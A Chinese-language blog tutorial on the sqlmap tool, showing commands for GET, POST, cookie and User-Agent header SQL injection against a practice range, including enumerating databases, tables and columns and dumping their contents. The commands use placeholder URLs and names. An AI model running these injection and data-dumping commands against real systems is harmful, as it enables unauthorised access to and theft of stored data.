Sqlmap使用方法

简介:

sqlmap是一款开源的自动化sql注入工具,主要用于检测和利用Web应用程序中的SQL注入漏洞。

使用方法(GET型):

sqlmap -u "url+注入点":因为sqlmap不能直接扫描网站漏洞,所以要手动加上注入点,再用sqlmap来利用

指定文件检测:

sqlmap -m <指定文件>

查询数据库:

sqlmap -u "url" --dbs

查询数据表:

sqlmap -u "url" --tables

查询指定数据库的表:

sqlmap -u "url" -D '数据库名' --tables

查询字段:

sqlmap -u "url" -D '数据库名' --columns

查询指定数据库中指定表的字段:

sqlmap -u "url" -D '数据库名' -T '表名' --columns

查询数据:

sqlmap -u "url" -D '数据库名' -T '表名' --dump

指定当前使用的数据库:

sqlmap -u "url" --current-db

POST型使用方法:

因为post请求不会将参数直接暴漏在url中,因此不能直接使用-u url命令的方法去使用,而是需要先利用抓包来完成

首先对靶场进行抓包,并保存到文档中,复制到kali

然后使用-r指定文件进行使用

sqlmap -r /home/kali/桌面/1.txt

查询数据库:

sqlmap -r /home/kali/桌面/1.txt --dbs

sqlmap -r /home/kali/桌面/1.txt --dbs

指定查询当前数据库:

sqlmap -r /home/kali/桌面/1.txt --current-db

爆表(也可以指定当前数据库):

sqlmap -r /home/kali/桌面/1.txt (-D '数据库名')--tables

爆字段(也可以指定数据库或表):

sqlmap -r /home/kali/桌面/1.txt (-D '数据库名')(-T '表名')--columns

爆内容(也可以指定数据库或表或字段):

sqlmap -r /home/kali/桌面/1.txt (-D '数据库名')(-T '表名')--dump

Cookie型注入使用方法:

sqlmap -u "url" --cookie='cookie'(--level(1-4)代表等级)

爆数据库:

sqlmap -u "url" --cookie='cookie' --dbs

指定数据库爆表:

sqlmap -u "url" --cookie='cookie' -D '数据库名' --tables

指定表爆字段:

sqlmap -u "url" --cookie='cookie' -D '数据库名' -T '表名' --columns

指定表爆数据:

sqlmap -u "url" --cookie='cookie' -D '数据库名' -T '表名' --dump

还可以使用抓包:

查看抓取的请求包

因为uname是注入点,所以这里需要将cookie中的uname标记成*

sqlmap -r 文件名 --current-db --dump

Header(User-Agent)型注入:

还是需要抓包

然后将User-Agent标记成*

查询数据库:

sqlmap -r "文件名" --dbs

指定数据库查询表:

sqlmap -r "文件名" -D '数据库名' --tables

指定表查询字段:

sqlmap -r "文件名" -D '数据库名' -T '表名' --columns

查内容:

sqlmap -r "文件名" -D '数据库名' -T '表名' --dump

也可以不使用抓包:

sqlmap -u "url" --data="uname=admin&passwd=admin&submit=Submit" --User-Agent="*" --batch --dbs

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值